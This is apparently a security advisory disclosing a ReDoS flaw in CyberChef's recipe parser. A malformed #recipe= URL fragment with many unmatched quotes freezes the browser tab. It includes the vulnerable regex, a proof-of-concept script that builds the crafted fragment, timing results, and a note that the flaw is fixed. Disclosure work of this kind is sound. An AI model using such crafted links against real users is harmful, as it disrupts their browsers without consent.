CyberChef’s pretty-recipe parser is vulnerable to client-side ReDoS / CPU exhaustion when parsing a malformed #recipe= URL fragment containing a large number of unmatched quote characters.

A crafted CyberChef URL can cause the browser tab to freeze during startup while Utils.parseRecipeConfig() synchronously parses the recipe from the URL fragment.

Impact

An attacker can craft a CyberChef link containing a malformed #recipe= fragment and send it to a victim.

When the victim opens the link, CyberChef decodes and parses the recipe locally and synchronously. This can freeze the browser tab for seconds or longer, depending on the payload size and the victim’s device.

No code execution, data exfiltration, or privilege escalation occurs. This is an availability issue.

Patches

Fixed in master branch

Workarounds

Fixed in master branch and release v11.3.0

Analysis

Vulnerability Type

Regular Expression Denial of Service / client-side CPU exhaustion

Affected Area

src/core/Utils.mjs

Utils.parseRecipeConfig() parses pretty recipes using a global regular expression. The affected path is reachable when CyberChef loads a shared URL containing a #recipe= fragment.

Approximate flow:

User opens crafted CyberChef URL
→ App startup
→ loadURIParams()
→ Utils.parseURIParams()
→ Utils.parseRecipeConfig(params.recipe)
→ synchronous regex parsing
→ browser tab stalls/freezes

Root Cause

Utils.parseRecipeConfig() uses a complex regular expression for pretty-recipe parsing:

/([^(]+)(((?:'[^'\\](?:\.[^'\\])'|[^)/']))(/[^)]+)?)/g
A malformed recipe containing many unmatched quote characters appears to trigger heavy backtracking before the parser fails.

The issue is reproducible with input shaped like:

"A(" + "'".repeat(n)
When delivered through the URL fragment, the payload is parsed automatically during page load.

Proof of Concept

Run the following JS from the CyberChef repository root:

import Utils from './src/core/Utils.mjs';

const cases = [10000, 25000, 50000, 75000, 100000];

for (const n of cases) {
    const maliciousRecipe = 'A(' + "'".repeat(n);
    const fragment = '#recipe=' + encodeURIComponent(maliciousRecipe);

    const t = process.hrtime.bigint();
    const params = Utils.parseURIParams(fragment);
    Utils.parseRecipeConfig(params.recipe);
    const ms = Number(process.hrtime.bigint() - t) / 1e6;

    console.log(`${n}\t${ms.toFixed(1)}ms`);
}

Observed local timings:

10000 32.1ms
25000 193.7ms
50000 788.6ms
75000 1789.2ms
100000 12781.9ms
Control case with a valid quoted argument remained fast:

100000 ~1.2ms
200000 ~0.4ms